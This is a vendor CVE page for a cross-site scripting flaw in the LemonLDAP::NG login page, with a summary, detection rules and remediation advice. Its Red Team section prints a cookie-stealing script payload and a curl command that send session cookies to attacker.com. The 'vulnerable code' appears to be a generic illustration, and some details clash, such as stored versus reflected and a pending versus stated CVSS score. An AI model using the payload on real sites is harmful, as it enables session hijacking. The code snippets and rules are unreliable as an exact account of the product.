☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-48933

CVE-2024-48933 Cross-Site Scripting in Lemonldap::ng
📅 PUBLISHED: 2024-10-09 00:00 UTC 🔄 UPDATED: 2026-09-23 20:38 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix ⏳ CVSS score pending NVD analysis
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.33%
👁️
0.33% probability
8.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-48933 is a stored cross-site scripting (XSS) vulnerability in LemonLDAP::NG, an open-source Web Single Sign-On (SSO) and access management solution. The flaw exists in the login page when the userControl parameter is configured to a non-default value that permits special HTML characters. An unauthenticated remote attacker can inject arbitrary web script or HTML via a crafted username, leading to session hijacking, credential theft, or defacement. The vulnerability affects versions prior to 2.19.3. No public proof-of-concept or exploit code is currently available, but the risk is elevated due to the widespread use of LemonLDAP::NG in enterprise environments.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

LemonLDAP::NG is distributed as a Perl-based package via CPAN and as system packages (Debian, RPM). The vulnerability is introduced through the core application code, not a third-party dependency. Organizations should verify the integrity of their LemonLDAP::NG installation and ensure they are using the official repository or CPAN source. No malicious packages have been reported in the supply chain for this CVE.

CVSS Breakdown & Threat Level

CVSS Score: 5.4 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

  • Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low – No special conditions are required; the attacker only needs to submit a crafted username.
  • Privileges Required (PR): None – No authentication is needed to trigger the XSS.
  • User Interaction (UI): Required – The victim must visit the malicious login page or interact with the injected content.
  • Scope (S): Unchanged – The exploitation does not affect other components beyond the vulnerable web application.
  • Confidentiality (C): Low – Limited information disclosure (e.g., session tokens).
  • Integrity (I): Low – Limited ability to modify content (e.g., defacement).
  • Availability (A): None – No impact on service availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for credential theft and session hijacking in an SSO context elevates the risk for organizations using LemonLDAP::NG.

Deep Dive & Mechanics

The vulnerability resides in the login page of LemonLDAP::NG. When the userControl configuration parameter is set to a non-default value that allows special HTML characters (e.g., userControl is set to none or a custom handler that does not sanitize input), the username field is not properly escaped before being rendered in the HTML response.

Attack Flow:

  1. An attacker crafts a malicious username containing JavaScript payloads, such as <script>alert('XSS')</script>.
  2. The attacker submits the login form with this payload.
  3. The server processes the request and, due to the misconfiguration, reflects the unsanitized username in the login page HTML.
  4. When a victim (e.g., an administrator or another user) views the login page (e.g., via a shared session or error page), the injected script executes in their browser context.

Root Cause: The userControl parameter, when set to a non-default value, bypasses the default HTML entity encoding that LemonLDAP::NG applies to user input. This is a classic case of improper output encoding.

Affected Component: The login form handler in the Lemonldap::NG::Portal::Main module, specifically the userControl processing logic.

Vulnerable vs. Patched Code

Vulnerable Code (before 2.19.3): In the login handler, the username is directly interpolated into the HTML without sanitization when userControl is not the default.

# Vulnerable: userControl allows raw HTML
my $username = $req->param('username');
if ( $self->{userControl} ne 'default' ) {
    # No sanitization applied
    $html .= "<input type='text' name='username' value='$username' />";
}

Patched Code (2.19.3+): The fix applies HTML entity encoding to the username regardless of the userControl setting.

# Patched: Always sanitize
use HTML::Entities;
my $username = $req->param('username');
$username = encode_entities($username);
if ( $self->{userControl} ne 'default' ) {
    $html .= "<input type='text' name='username' value='$username' />";
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A vulnerable LemonLDAP::NG instance (version < 2.19.3) with userControl set to a non-default value (e.g., none or custom).
  • Network access to the login page.

Exploitation Steps:

  1. Identify the login page URL (e.g., https://target.example.com/portal/login).
  2. Craft a payload that steals session cookies or performs actions on behalf of an admin.
  3. Submit the login form with the malicious username.

Example Payload (Cookie Stealer):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Full HTTP Request (using curl):

curl -X POST https://target.example.com/portal/login \
  -d "username=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>" \
  -d "password=anything"

Note: The attacker must then lure an administrator or user to view the login page (e.g., via a shared link or by triggering an error that displays the username).

Blue Team (Defensive)

Detection:

  • Monitor web server logs for unusual username patterns containing <script>, onerror=, or other HTML/JavaScript constructs.
  • Look for repeated login attempts with non-standard usernames.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri_path="/portal/login" form_data=*<script>*
| table _time, src_ip, form_data, uri

Mitigation:

  • Immediately upgrade to LemonLDAP::NG 2.19.3 or later.
  • If upgrade is not possible, set userControl to its default value (default) to enforce sanitization.
  • Implement a Web Application Firewall (WAF) rule to block requests containing <script> in the username parameter.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP POST requests to /portal/login with username parameter containing <script>, onerror, onload, or similar JavaScript event handlers.
    • Outbound connections to attacker-controlled domains from the LemonLDAP::NG server (if cookie theft is successful).
  • File IOCs:

    • Modified or suspicious entries in LemonLDAP::NG configuration files (e.g., lemonldap-ng.ini) where userControl is set to a non-default value.
  • Log IOCs:

    • Web server logs showing username values with HTML tags.
    • Application logs indicating failed login attempts with unusual usernames.

Detection Engineering

YARA Rule

rule CVE_2024_48933_LemonLDAP_XSS {
    meta:
        description = "Detects exploitation attempts of CVE-2024-48933 in LemonLDAP::NG"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-48933"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*["']?[^"']*["']?/i
        $username_param = /username=/
    condition:
        $username_param and ($xss_payload or $xss_event)
}

Sigma Rule

title: CVE-2024-48933 LemonLDAP::NG XSS Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to LemonLDAP::NG login page with XSS payloads in the username parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/portal/login'
        cs-username|contains|any:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate usernames containing HTML-like characters (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-48933 LemonLDAP::NG XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/portal/login"; http_uri;
    content:"username="; http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    pcre:"/on\w+\s*=\s*["']?[^"']*["']?/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-48933;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Update LemonLDAP::NG to version 2.19.3 or later. This is the only complete fix.
  2. Configuration Change: If upgrade is delayed, set userControl to its default value (default) in the configuration file (/etc/lemonldap-ng/lemonldap-ng.ini or equivalent).
  3. WAF Rule: Deploy a WAF rule to block requests containing <script> or on*= in the username parameter.

Long-Term Measures:

  • Enforce input validation and output encoding for all user-supplied data.
  • Conduct regular security audits of LemonLDAP::NG configurations.
  • Monitor for new advisories from the LemonLDAP::NG project.

Patch Verification: After upgrading, verify the fix by checking the version:

perl -MLemonldap::NG::Portal -e 'print $Lemonldap::NG::Portal::VERSION'

Ensure the output is 2.19.3 or higher.


Valters IT – DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-48933/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.